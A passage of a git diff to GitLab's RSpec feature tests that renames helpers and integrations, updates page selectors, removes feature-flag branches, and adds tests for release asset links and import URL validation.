- context 'when feature flag :sidebar_refactor is disabled' do
- it 'hides issues tab and show labels tab' do
- stub_feature_flags(sidebar_refactor: false)
-
- visit project_path(project)
-
- expect(page).not_to have_selector('.shortcuts-issues')
- expect(page).to have_selector('.shortcuts-labels')
- end
- end
end
context "pipelines subtabs" do
diff --git a/spec/features/projects/files/dockerfile_dropdown_spec.rb b/spec/features/projects/files/dockerfile_dropdown_spec.rb
index 40d19a94b42..11663158b33 100644
--- a/spec/features/projects/files/dockerfile_dropdown_spec.rb
+++ b/spec/features/projects/files/dockerfile_dropdown_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Projects > Files > User wants to add a Dockerfile file', :js do
- include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
before do
project = create(:project, :repository)
diff --git a/spec/features/projects/files/gitignore_dropdown_spec.rb b/spec/features/projects/files/gitignore_dropdown_spec.rb
index a9f2463ecf6..d47eaee2e79 100644
--- a/spec/features/projects/files/gitignore_dropdown_spec.rb
+++ b/spec/features/projects/files/gitignore_dropdown_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Projects > Files > User wants to add a .gitignore file', :js do
- include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
before do
project = create(:project, :repository)
diff --git a/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb b/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb
index b0ccb5fca94..fc199f66490 100644
--- a/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb
+++ b/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe 'Projects > Files > User wants to add a .gitlab-ci.yml file', :js do
- include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ include Spec::Support::Helpers::Features::SourceEditorSpecHelpers
let(:params) { {} }
let(:filename) { '.gitlab-ci.yml' }
diff --git a/spec/features/projects/files/undo_template_spec.rb b/spec/features/projects/files/undo_template_spec.rb
index 09ae595490a..560cb53ead2 100644
--- a/spec/features/projects/files/undo_template_spec.rb
+++ b/spec/features/projects/files/undo_template_spec.rb
@@ -47,11 +47,11 @@ end
def check_undo_button_display
expect(page).to have_content('template applied')
- expect(page).to have_css('.toasted-container')
+ expect(page).to have_css('.b-toaster')
end
def check_content_reverted(template_content)
- find('.toasted-container a', text: 'Undo').click
+ find('.b-toaster a', text: 'Undo').click
expect(page).not_to have_content(template_content)
expect(page).to have_css('.template-type-selector .dropdown-toggle-text')
end
diff --git a/spec/features/projects/import_export/import_file_spec.rb b/spec/features/projects/import_export/import_file_spec.rb
index 25836514981..a4c57e83bdd 100644
--- a/spec/features/projects/import_export/import_file_spec.rb
+++ b/spec/features/projects/import_export/import_file_spec.rb
@@ -62,6 +62,6 @@ RSpec.describe 'Import/Export - project import integration test', :js do
end
def click_import_project
- find('[data-qa-selector="import_project_link"]').click
+ find('[data-qa-panel-name="import_project"]').click
end
end
diff --git a/spec/features/projects/infrastructure_registry_spec.rb b/spec/features/projects/infrastructure_registry_spec.rb
index 9cab4ebeb3a..c3cb3955092 100644
--- a/spec/features/projects/infrastructure_registry_spec.rb
+++ b/spec/features/projects/infrastructure_registry_spec.rb
@@ -28,13 +28,30 @@ RSpec.describe 'Infrastructure Registry' do
visit_project_infrastructure_registry
end
- context 'when there are packages' do
+ context 'when there are modules' do
let_it_be(:terraform_module) { create(:terraform_module_package, project: project, created_at: 1.day.ago, version: '1.0.0') }
let_it_be(:terraform_module2) { create(:terraform_module_package, project: project, created_at: 2.days.ago, version: '2.0.0') }
let_it_be(:packages) { [terraform_module, terraform_module2] }
it_behaves_like 'packages list'
+ context 'details link' do
+ it 'navigates to the correct url' do
+ page.within(packages_table_selector) do
+ click_link terraform_module.name
+ end
+
+ expect(page).to have_current_path(project_infrastructure_registry_path(terraform_module.project, terraform_module))
+
+ expect(page).to have_css('.packages-app h1[data-testid="title"]', text: terraform_module.name)
+
+ page.within(%Q([name="#{terraform_module.name}"])) do
+ expect(page).to have_content('Provision instructions')
+ expect(page).to have_content('Registry setup')
+ end
+ end
+ end
+
context 'deleting a package' do
let_it_be(:project) { create(:project) }
let_it_be(:terraform_module) { create(:terraform_module_package, project: project) }
diff --git a/spec/features/projects/integrations/user_activates_jira_spec.rb b/spec/features/projects/integrations/user_activates_jira_spec.rb
index 10f84aae93f..d7679d38cae 100644
--- a/spec/features/projects/integrations/user_activates_jira_spec.rb
+++ b/spec/features/projects/integrations/user_activates_jira_spec.rb
@@ -65,7 +65,7 @@ RSpec.describe 'User activates Jira', :js do
include JiraServiceHelper
before do
- stub_jira_service_test
+ stub_jira_integration_test
visit_project_integration('Jira')
fill_form(disable: true)
click_save_integration
@@ -105,14 +105,14 @@ RSpec.describe 'User activates Jira', :js do
click_save_integration
expect(page).to have_content('Jira settings saved and active.')
- expect(project.reload.jira_service.data_fields).to have_attributes(
+ expect(project.reload.jira_integration.data_fields).to have_attributes(
jira_issue_transition_automatic: false,
jira_issue_transition_id: '1, 2, 3'
)
end
it 'using automatic transitions' do
- create(:jira_service, project: project, jira_issue_transition_automatic: false, jira_issue_transition_id: '1, 2, 3')
+ create(:jira_integration, project: project, jira_issue_transition_automatic: false, jira_issue_transition_id: '1, 2, 3')
visit_project_integration('Jira')
expect(page).to have_field('Enable Jira transitions', checked: true)
@@ -123,14 +123,14 @@ RSpec.describe 'User activates Jira', :js do
click_save_integration
expect(page).to have_content('Jira settings saved and active.')
- expect(project.reload.jira_service.data_fields).to have_attributes(
+ expect(project.reload.jira_integration.data_fields).to have_attributes(
jira_issue_transition_automatic: true,
jira_issue_transition_id: ''
)
end
it 'disabling issue transitions' do
- create(:jira_service, project: project, jira_issue_transition_automatic: true, jira_issue_transition_id: '1, 2, 3')
+ create(:jira_integration, project: project, jira_issue_transition_automatic: true, jira_issue_transition_id: '1, 2, 3')
visit_project_integration('Jira')
expect(page).to have_field('Enable Jira transitions', checked: true)
@@ -140,7 +140,7 @@ RSpec.describe 'User activates Jira', :js do
click_save_integration
expect(page).to have_content('Jira settings saved and active.')
- expect(project.reload.jira_service.data_fields).to have_attributes(
+ expect(project.reload.jira_integration.data_fields).to have_attributes(
jira_issue_transition_automatic: false,
jira_issue_transition_id: ''
)
diff --git a/spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb b/spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb
index 83f66d4fa7b..ea34a766719 100644
--- a/spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb
+++ b/spec/features/projects/integrations/user_activates_pivotaltracker_spec.rb
@@ -10,11 +10,11 @@ RSpec.describe 'User activates PivotalTracker' do
end
it 'activates service', :js do
- visit_project_integration('PivotalTracker')
+ visit_project_integration('Pivotal Tracker')
fill_in('Token', with: 'verySecret')
click_test_then_save_integration(expect_test_to_fail: false)
- expect(page).to have_content('PivotalTracker settings saved and active.')
+ expect(page).to have_content('Pivotal Tracker settings saved and active.')
end
end
diff --git a/spec/features/projects/navbar_spec.rb b/spec/features/projects/navbar_spec.rb
index bce11e6bc8a..876bc82d16c 100644
--- a/spec/features/projects/navbar_spec.rb
+++ b/spec/features/projects/navbar_spec.rb
@@ -14,134 +14,54 @@ RSpec.describe 'Project navbar' do
before do
sign_in(user)
- end
- context 'when sidebar refactor feature flag is disabled' do
- let(:project_context_nav_item) do
- nil
- end
+ stub_config(registry: { enabled: false })
+ insert_package_nav(_('Infrastructure'))
+ insert_infrastructure_registry_nav
+ end
+ it_behaves_like 'verified navigation bar' do
before do
- stub_feature_flags(sidebar_refactor: false)
- insert_package_nav(_('Operations'))
- insert_infrastructure_registry_nav
-
- insert_after_sub_nav_item(
- _('Boards'),
- within: _('Issues'),
- new_sub_nav_item_name: _('Labels')
- )
-
- insert_after_nav_item(
- _('Snippets'),
- new_nav_item: {
- nav_item: _('Members'),
- nav_sub_items: []
- }
- )
-
- stub_config(registry: { enabled: false })
+ visit project_path(project)
end
+ end
- it_behaves_like 'verified navigation bar' do
- before do
- visit project_path(project)
- end
+ context 'when value stream is available' do
+ before do
+ visit project_path(project)
end
- context 'when value stream is available' do
- before do
- visit project_path(project)
+ it 'redirects to value stream when Analytics item is clicked' do
+ page.within('.sidebar-top-level-items') do
+ find('.shortcuts-analytics').click
end
- it 'redirects to value stream when Analytics item is clicked' do
- page.within('.sidebar-top-level-items') do
- find('.shortcuts-analytics').click
- end
-
- wait_for_requests
+ wait_for_requests
- expect(page).to have_current_path(project_cycle_analytics_path(project))
- end
- end
-
- context 'when pages are available' do
- before do
- stub_config(pages: { enabled: true })
-
- insert_after_sub_nav_item(
- _('Operations'),
- within: _('Settings'),
- new_sub_nav_item_name: _('Pages')
- )
-
- visit project_path(project)
- end
-
- it_behaves_like 'verified navigation bar'
- end
-
- context 'when container registry is available' do
- before do
- stub_config(registry: { enabled: true })
-
- insert_container_nav
-
- visit project_path(project)
- end
-
- it_behaves_like 'verified navigation bar'
+ expect(page).to have_current_path(project_cycle_analytics_path(project))
end
end
- context 'when sidebar refactor feature flag is enabled' do
- let(:monitor_nav_item) do
- {
- nav_item: _('Monitor'),
- nav_sub_items: monitor_menu_items
- }
- end
+ context 'when pages are available' do
+ before do
+ stub_config(pages: { enabled: true })
- let(:monitor_menu_items) do
- [
- _('Metrics'),
- _('Logs'),
- _('Tracing'),
- _('Error Tracking'),
- _('Alerts'),
- _('Incidents'),
- _('Product Analytics')
- ]
- end
+ insert_after_sub_nav_item(
+ _('Monitor'),
+ within: _('Settings'),
+ new_sub_nav_item_name: _('Pages')
+ )
- let(:project_information_nav_item) do
- {
- nav_item: _('Project information'),
- nav_sub_items: [
- _('Activity'),
- _('Labels'),
- _('Members')
- ]
- }
+ visit project_path(project)
end
- let(:settings_menu_items) do
- [
- _('General'),
- _('Integrations'),
- _('Webhooks'),
- _('Access Tokens'),
- _('Repository'),
- _('CI/CD'),
- _('Monitor')
- ]
- end
+ it_behaves_like 'verified navigation bar'
+ end
+ context 'when container registry is available' do
before do
- stub_feature_flags(sidebar_refactor: true)
stub_config(registry: { enabled: true })
- insert_package_nav(_('Monitor'))
- insert_infrastructure_registry_nav
+
insert_container_nav
insert_after_sub_nav_item(
@@ -150,30 +70,6 @@ RSpec.describe 'Project navbar' do
new_sub_nav_item_name: _('Packages & Registries')
)
- insert_after_nav_item(
- _('Monitor'),
- new_nav_item: {
- nav_item: _('Infrastructure'),
- nav_sub_items: [
- _('Kubernetes clusters'),
- _('Serverless platform'),
- _('Terraform')
- ]
- }
- )
-
- insert_after_nav_item(
- _('Security & Compliance'),
- new_nav_item: {
- nav_item: _('Deployments'),
- nav_sub_items: [
- _('Feature Flags'),
- _('Environments'),
- _('Releases')
- ]
- }
- )
-
visit project_path(project)
end
diff --git a/spec/features/projects/new_project_spec.rb b/spec/features/projects/new_project_spec.rb
index c57432ae94e..ef28979798f 100644
--- a/spec/features/projects/new_project_spec.rb
+++ b/spec/features/projects/new_project_spec.rb
@@ -14,82 +14,13 @@ RSpec.describe 'New project', :js do
sign_in(user)
end
- context 'new repo experiment', :experiment do
- it 'when in control renders "project"' do
- stub_experiments(new_repo: :control)
-
- visit new_project_path
-
- find('li.header-new.dropdown').click
-
- page.within('li.header-new.dropdown') do
- expect(page).to have_selector('a', text: 'New project')
- expect(page).to have_no_selector('a', text: 'New project/repository')
- end
-
- expect(page).to have_selector('h3', text: 'Create blank project')
- expect(page).to have_no_selector('h3', text: 'Create blank project/repository')
- end
-
- it 'when in candidate renders "project/repository"' do
- stub_experiments(new_repo: :candidate)
-
- visit new_project_path
-
- find('li.header-new.dropdown').click
-
- page.within('li.header-new.dropdown') do
- expect(page).to have_selector('a', text: 'New project/repository')
- end
-
- expect(page).to have_selector('h3', text: 'Create blank project/repository')
- end
-
- it 'when in control it renders "project" in the new projects dropdown' do
- stub_experiments(new_repo: :control)
-
- visit new_project_path
-
- open_top_nav_projects
-
- within_top_nav do
- if Feature.enabled?(:combined_menu, default_enabled: :yaml)
- expect(page).to have_selector('a', text: 'Create new project')
- expect(page).to have_no_selector('a', text: 'Create blank project/repository')
- else
- expect(page).to have_selector('a', text: 'Create blank project')
- expect(page).to have_selector('a', text: 'Import project')
- expect(page).to have_no_selector('a', text: 'Create blank project/repository')
- expect(page).to have_no_selector('a', text: 'Import project/repository')
- end
- end
- end
-
- it 'when in candidate it renders "project/repository" in the new projects dropdown' do
- stub_experiments(new_repo: :candidate)
-
- visit new_project_path
-
- open_top_nav_projects
-
- within_top_nav do
- if Feature.enabled?(:combined_menu, default_enabled: :yaml)
- expect(page).to have_selector('a', text: 'Create new project')
- else
- expect(page).to have_selector('a', text: 'Create blank project/repository')
- expect(page).to have_selector('a', text: 'Import project/repository')
- end
- end
- end
- end
-
it 'shows a message if multiple levels are restricted' do
Gitlab::CurrentSettings.update!(
restricted_visibility_levels: [Gitlab::VisibilityLevel::PRIVATE, Gitlab::VisibilityLevel::INTERNAL]
)
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
expect(page).to have_content 'Other visibility settings have been disabled by the administrator.'
end
@@ -100,7 +31,7 @@ RSpec.describe 'New project', :js do
)
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
expect(page).to have_content 'Visibility settings have been disabled by the administrator.'
end
@@ -115,14 +46,14 @@ RSpec.describe 'New project', :js do
it 'shows "New project" page', :js do
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
expect(page).to have_content('Project name')
expect(page).to have_content('Project URL')
expect(page).to have_content('Project slug')
click_link('New project')
- find('[data-qa-selector="import_project_link"]').click
+ find('[data-qa-panel-name="import_project"]').click
expect(page).to have_link('GitHub')
expect(page).to have_link('Bitbucket')
@@ -135,7 +66,7 @@ RSpec.describe 'New project', :js do
before do
visit new_project_path
- find('[data-qa-selector="import_project_link"]').click
+ find('[data-qa-panel-name="import_project"]').click
end
it 'has Manifest file' do
@@ -149,7 +80,7 @@ RSpec.describe 'New project', :js do
stub_application_setting(default_project_visibility: level)
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
page.within('#blank-project-pane') do
expect(find_field("project_visibility_level_#{level}")).to be_checked
end
@@ -157,7 +88,7 @@ RSpec.describe 'New project', :js do
it "saves visibility level #{level} on validation error" do
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
choose(key)
click_button('Create project')
@@ -177,7 +108,7 @@ RSpec.describe 'New project', :js do
context 'when admin mode is enabled', :enable_admin_mode do
it 'has private selected' do
visit new_project_path(namespace_id: group.id)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
page.within('#blank-project-pane') do
expect(find_field("project_visibility_level_#{Gitlab::VisibilityLevel::PRIVATE}")).to be_checked
@@ -204,7 +135,7 @@ RSpec.describe 'New project', :js do
context 'when admin mode is enabled', :enable_admin_mode do
it 'has private selected' do
visit new_project_path(namespace_id: group.id, project: { visibility_level: Gitlab::VisibilityLevel::PRIVATE })
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
page.within('#blank-project-pane') do
expect(find_field("project_visibility_level_#{Gitlab::VisibilityLevel::PRIVATE}")).to be_checked
@@ -225,7 +156,7 @@ RSpec.describe 'New project', :js do
context 'Readme selector' do
it 'shows the initialize with Readme checkbox on "Blank project" tab' do
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
expect(page).to have_css('input#project_initialize_with_readme')
expect(page).to have_content('Initialize repository with a README')
@@ -233,7 +164,7 @@ RSpec.describe 'New project', :js do
it 'does not show the initialize with Readme checkbox on "Create from template" tab' do
visit new_project_path
- find('[data-qa-selector="create_from_template_link"]').click
+ find('[data-qa-panel-name="create_from_template"]').click
first('.choose-template').click
page.within '.project-fields-form' do
@@ -244,7 +175,7 @@ RSpec.describe 'New project', :js do
it 'does not show the initialize with Readme checkbox on "Import project" tab' do
visit new_project_path
- find('[data-qa-selector="import_project_link"]').click
+ find('[data-qa-panel-name="import_project"]').click
first('.js-import-git-toggle-button').click
page.within '#import-project-pane' do
@@ -258,7 +189,7 @@ RSpec.describe 'New project', :js do
context 'with user namespace' do
before do
visit new_project_path
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
end
it 'selects the user namespace' do
@@ -274,7 +205,7 @@ RSpec.describe 'New project', :js do
before do
group.add_owner(user)
visit new_project_path(namespace_id: group.id)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
end
it 'selects the group namespace' do
@@ -291,7 +222,7 @@ RSpec.describe 'New project', :js do
before do
group.add_maintainer(user)
visit new_project_path(namespace_id: subgroup.id)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
end
it 'selects the group namespace' do
@@ -311,7 +242,7 @@ RSpec.describe 'New project', :js do
internal_group.add_owner(user)
private_group.add_owner(user)
visit new_project_path(namespace_id: public_group.id)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
end
it 'enables the correct visibility options' do
@@ -341,7 +272,7 @@ RSpec.describe 'New project', :js do
context 'Import project options', :js do
before do
visit new_project_path
- find('[data-qa-selector="import_project_link"]').click
+ find('[data-qa-panel-name="import_project"]').click
end
context 'from git repository url, "Repo by URL"' do
@@ -362,6 +293,14 @@ RSpec.describe 'New project', :js do
expect(git_import_instructions).to have_content 'Git repository URL'
end
+ it 'reports error if repo URL does not end with .git' do
+ fill_in 'project_import_url', with: 'http://foo/bar'
+ # simulate blur event
+ find('body').click
+
+ expect(page).to have_text('A repository URL usually ends in a .git suffix')
+ end
+
it 'keeps "Import project" tab open after form validation error' do
collision_project = create(:project, name: 'test-name-collision', namespace: user.namespace)
@@ -405,7 +344,7 @@ RSpec.describe 'New project', :js do
before do
group.add_developer(user)
visit new_project_path(namespace_id: group.id)
- find('[data-qa-selector="blank_project_link"]').click
+ find('[data-qa-panel-name="blank_project"]').click
end
it 'selects the group namespace' do
diff --git a/spec/features/projects/package_files_spec.rb b/spec/features/projects/package_files_spec.rb
index bea9a9929b9..c5c03396d71 100644
--- a/spec/features/projects/package_files_spec.rb
+++ b/spec/features/projects/package_files_spec.rb
@@ -23,12 +23,18 @@ RSpec.describe 'PackageFiles' do
expect(status_code).to eq(200)
end
- it 'renders the download link with the correct url', :js do
- visit project_package_path(project, package)
+ context 'when package_details_apollo feature flag is off' do
+ before do
+ stub_feature_flags(package_details_apollo: false)
+ end
- download_url = download_project_package_file_path(project, package_file)
+ it 'renders the download link with the correct url', :js do
+ visit project_package_path(project, package)
- expect(page).to have_link(package_file.file_name, href: download_url)
+ download_url = download_project_package_file_path(project, package_file)
+
+ expect(page).to have_link(package_file.file_name, href: download_url)
+ end
end
it 'does not allow download of package belonging to different project' do
diff --git a/spec/features/projects/packages_spec.rb b/spec/features/projects/packages_spec.rb
index e5c684bdff5..fa4c57c305d 100644
--- a/spec/features/projects/packages_spec.rb
+++ b/spec/features/projects/packages_spec.rb
@@ -31,13 +31,19 @@ RSpec.describe 'Packages' do
end
context 'when there are packages' do
- let_it_be(:conan_package) { create(:conan_package, project: project, name: 'zzz', created_at: 1.day.ago, version: '1.0.0') }
+ let_it_be(:npm_package) { create(:npm_package, project: project, name: 'zzz', created_at: 1.day.ago, version: '1.0.0') }
let_it_be(:maven_package) { create(:maven_package, project: project, name: 'aaa', created_at: 2.days.ago, version: '2.0.0') }
- let_it_be(:packages) { [conan_package, maven_package] }
+ let_it_be(:packages) { [npm_package, maven_package] }
it_behaves_like 'packages list'
- it_behaves_like 'package details link'
+ context 'when package_details_apollo feature flag is off' do
+ before do
+ stub_feature_flags(package_details_apollo: false)
+ end
+
+ it_behaves_like 'package details link'
+ end
context 'deleting a package' do
let_it_be(:project) { create(:project) }
@@ -54,7 +60,7 @@ RSpec.describe 'Packages' do
it_behaves_like 'shared package sorting' do
let_it_be(:package_one) { maven_package }
- let_it_be(:package_two) { conan_package }
+ let_it_be(:package_two) { npm_package }
end
end
diff --git a/spec/features/projects/pipelines/pipeline_spec.rb b/spec/features/projects/pipelines/pipeline_spec.rb
index 70dc0bd04e8..0958e1d1891 100644
--- a/spec/features/projects/pipelines/pipeline_spec.rb
+++ b/spec/features/projects/pipelines/pipeline_spec.rb
@@ -7,7 +7,8 @@ RSpec.describe 'Pipeline', :js do
include ProjectForksHelper
include ::ExclusiveLeaseHelpers
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
+
let(:user) { create(:user) }
let(:role) { :developer }
@@ -59,8 +60,9 @@ RSpec.describe 'Pipeline', :js do
describe 'GET /:project/-/pipelines/:id' do
include_context 'pipeline builds'
- let(:group) { create(:group) }
- let(:project) { create(:project, :repository, group: group) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project, reload: true) { create(:project, :repository, group: group) }
+
let(:pipeline) { create(:ci_pipeline, project: project, ref: 'master', sha: project.commit.id, user: user) }
subject(:visit_pipeline) { visit project_pipeline_path(project, pipeline) }
@@ -246,6 +248,8 @@ RSpec.describe 'Pipeline', :js do
end
context 'when pipeline has a delayed job' do
+ let(:project) { create(:project, :repository, group: group) }
+
it 'shows the scheduled icon and an unschedule action for the delayed job' do
page.within('#ci-badge-delayed-job') do
expect(page).to have_selector('.js-ci-status-icon-scheduled')
@@ -434,30 +438,44 @@ RSpec.describe 'Pipeline', :js do
end
end
- context 'deleting pipeline' do
- context 'when user can not delete' do
- before do
- visit_pipeline
+ shared_context 'delete pipeline' do
+ context 'deleting pipeline' do
+ context 'when user can not delete' do
+ before do
+ visit_pipeline
+ end
+
+ it { expect(page).not_to have_button('Delete') }
end
- it { expect(page).not_to have_button('Delete') }
- end
+ context 'when deleting' do
+ before do
+ group.add_owner(user)
- context 'when deleting' do
- before do
- group.add_owner(user)
+ visit_pipeline
- visit_pipeline
+ click_button 'Delete'
+ click_button 'Delete pipeline'
+ end
- click_button 'Delete'
- click_button 'Delete pipeline'
+ it 'redirects to pipeline overview page', :sidekiq_inline do
+ expect(page).to have_content('The pipeline has been deleted')
+ expect(current_path).to eq(project_pipelines_path(project))
+ end
end
+ end
+ end
- it 'redirects to pipeline overview page', :sidekiq_might_not_need_inline do
- expect(page).to have_content('The pipeline has been deleted')
- expect(current_path).to eq(project_pipelines_path(project))
- end
+ context 'when cancel_pipelines_prior_to_destroy is enabled' do
+ include_context 'delete pipeline'
+ end
+
+ context 'when cancel_pipelines_prior_to_destroy is disabled' do
+ before do
+ stub_feature_flags(cancel_pipelines_prior_to_destroy: false)
end
+
+ include_context 'delete pipeline'
end
context 'when pipeline ref does not exist in repository anymore' do
@@ -550,6 +568,7 @@ RSpec.describe 'Pipeline', :js do
end
context 'when pipeline is merge request pipeline' do
+ let(:project) { create(:project, :repository, group: group) }
let(:source_project) { project }
let(:target_project) { project }
@@ -634,7 +653,8 @@ RSpec.describe 'Pipeline', :js do
describe 'GET /:project/-/pipelines/:id' do
include_context 'pipeline builds'
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { create(:project, :repository) }
+
let(:pipeline) { create(:ci_pipeline, project: project, ref: 'master', sha: project.commit.id, user: user) }
before do
@@ -997,7 +1017,8 @@ RSpec.describe 'Pipeline', :js do
describe 'GET /:project/-/pipelines/:id/builds' do
include_context 'pipeline builds'
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { create(:project, :repository) }
+
let(:pipeline) { create(:ci_pipeline, project: project, ref: 'master', sha: project.commit.id) }
before do
@@ -1234,7 +1255,8 @@ RSpec.describe 'Pipeline', :js do
describe 'GET /:project/-/pipelines/:id/dag' do
include_context 'pipeline builds'
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { create(:project, :repository) }
+
let(:pipeline) { create(:ci_pipeline, project: project, ref: 'master', sha: project.commit.id) }
before do
@@ -1263,7 +1285,7 @@ RSpec.describe 'Pipeline', :js do
end
context 'when user sees pipeline flags in a pipeline detail page' do
- let(:project) { create(:project, :repository) }
+ let_it_be(:project) { create(:project, :repository) }
context 'when pipeline is latest' do
include_context 'pipeline builds'
diff --git a/spec/features/projects/pipelines/pipelines_spec.rb b/spec/features/projects/pipelines/pipelines_spec.rb
index f1672af1019..1de0eea4657 100644
--- a/spec/features/projects/pipelines/pipelines_spec.rb
+++ b/spec/features/projects/pipelines/pipelines_spec.rb
@@ -783,7 +783,7 @@ RSpec.describe 'Pipelines', :js do
end
it 'renders empty state' do
- expect(page).to have_content 'Build with confidence'
+ expect(page).to have_content 'Use a sample CI/CD template'
end
end
end
diff --git a/spec/features/projects/releases/user_views_edit_release_spec.rb b/spec/features/projects/releases/user_views_edit_release_spec.rb
index 024c0a227c5..561b283ee15 100644
--- a/spec/features/projects/releases/user_views_edit_release_spec.rb
+++ b/spec/features/projects/releases/user_views_edit_release_spec.rb
@@ -4,9 +4,11 @@ require 'spec_helper'
RSpec.describe 'User edits Release', :js do
let_it_be(:project) { create(:project, :repository) }
- let_it_be(:release) { create(:release, :with_milestones, milestones_count: 1, project: project, name: 'The first release' ) }
let_it_be(:user) { create(:user) }
+ let(:release) { create(:release, :with_milestones, milestones_count: 1, project: project, name: 'The first release' ) }
+ let(:release_link) { create(:release_link, release: release) }
+
before do
project.add_developer(user)
@@ -68,6 +70,14 @@ RSpec.describe 'User edits Release', :js do
expect(release.description).to eq('Updated Release notes')
end
+ it 'does not affect the asset link' do
+ fill_out_form_and_click 'Save changes'
+
+ expected_filepath = release_link.filepath
+ release_link.reload
+ expect(release_link.filepath).to eq(expected_filepath)
+ end
+
it 'redirects to the previous page when "Cancel" is clicked when the url includes a back_url query parameter' do
back_path = project_releases_path(project, params: { page: 2 })
visit edit_project_release_path(project, release, params: { back_url: back_path })
diff --git a/spec/features/projects/releases/user_views_releases_spec.rb b/spec/features/projects/releases/user_views_releases_spec.rb
index fcb1b6a0015..6bc4c66b8ca 100644
--- a/spec/features/projects/releases/user_views_releases_spec.rb
+++ b/spec/features/projects/releases/user_views_releases_spec.rb
@@ -14,9 +14,14 @@ RSpec.describe 'User views releases', :js do
let_it_be(:maintainer) { create(:user) }
let_it_be(:guest) { create(:user) }
+ let_it_be(:internal_link) { create(:release_link, release: release_v1, name: 'An internal link', url: "#{project.web_url}/-/jobs/1/artifacts/download", filepath: nil) }
+ let_it_be(:internal_link_with_redirect) { create(:release_link, release: release_v1, name: 'An internal link with a redirect', url: "#{project.web_url}/-/jobs/2/artifacts/download", filepath: '/binaries/linux-amd64' ) }
+ let_it_be(:external_link) { create(:release_link, release: release_v1, name: 'An external link', url: "https://example.com/an/external/link", filepath: nil) }
+
before do
project.add_maintainer(maintainer)
project.add_guest(guest)
+ stub_default_url_options(host: 'localhost')
end
shared_examples 'releases index page' do
@@ -25,6 +30,8 @@ RSpec.describe 'User views releases', :js do
sign_in(maintainer)
visit project_releases_path(project)
+
+ wait_for_requests
end
it 'sees the release' do
@@ -35,38 +42,18 @@ RSpec.describe 'User views releases', :js do
end
end
- context 'when there is a link as an asset' do
- let!(:release_link) { create(:release_link, release: release_v1, url: url ) }
- let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
- let(:direct_asset_link) { Gitlab::Routing.url_helpers.project_release_url(project, release_v1) << "/downloads#{release_link.filepath}" }
+ it 'renders the correct links', :aggregate_failures do
+ page.within("##{release_v1.tag} .js-assets-list") do
+ external_link_indicator_selector = '[data-testid="external-link-indicator"]'
- it 'sees the link' do
- page.within("##{release_v1.tag} .js-assets-list") do
- expect(page).to have_link release_link.name, href: direct_asset_link
- expect(page).not_to have_css('[data-testid="external-link-indicator"]')
- end
- end
+ expect(page).to have_link internal_link.name, href: internal_link.url
+ expect(find_link(internal_link.name)).not_to have_css(external_link_indicator_selector)
- context 'when there is a link redirect' do
- let!(:release_link) { create(:release_link, release: release_v1, name: 'linux-amd64 binaries', filepath: '/binaries/linux-amd64', url: url) }
- let(:url) { "#{project.web_url}/-/jobs/1/artifacts/download" }
+ expect(page).to have_link internal_link_with_redirect.name, href: Gitlab::Routing.url_helpers.project_release_url(project, release_v1) << "/downloads#{internal_link_with_redirect.filepath}"
+ expect(find_link(internal_link_with_redirect.name)).not_to have_css(external_link_indicator_selector)
- it 'sees the link', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/329301' do
- page.within("##{release_v1.tag} .js-assets-list") do
- expect(page).to have_link release_link.name, href: direct_asset_link
- expect(page).not_to have_css('[data-testid="external-link-indicator"]')
- end
- end
- end
-
- context 'when url points to external resource' do
- let(:url) { 'http://google.com/download' }
-
- it 'sees that the link is external resource', quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/329302' do
- page.within("##{release_v1.tag} .js-assets-list") do
- expect(page).to have_css('[data-testid="external-link-indicator"]')
- end
- end
+ expect(page).to have_link external_link.name, href: external_link.url
+ expect(find_link(external_link.name)).to have_css(external_link_indicator_selector)
end
end
diff --git a/spec/features/projects/services/prometheus_external_alerts_spec.rb b/spec/features/projects/services/prometheus_external_alerts_spec.rb
index 4c32905a8c5..c2ae72ddb5e 100644
--- a/spec/features/projects/services/prometheus_external_alerts_spec.rb
+++ b/spec/features/projects/services/prometheus_external_alerts_spec.rb
@@ -10,7 +10,7 @@ RSpec.describe 'Prometheus external alerts', :js do
context 'with manual configuration' do
before do
- create(:prometheus_service, project: project, api_url: 'http://prometheus.example.com', manual_configuration: '1', active: true)
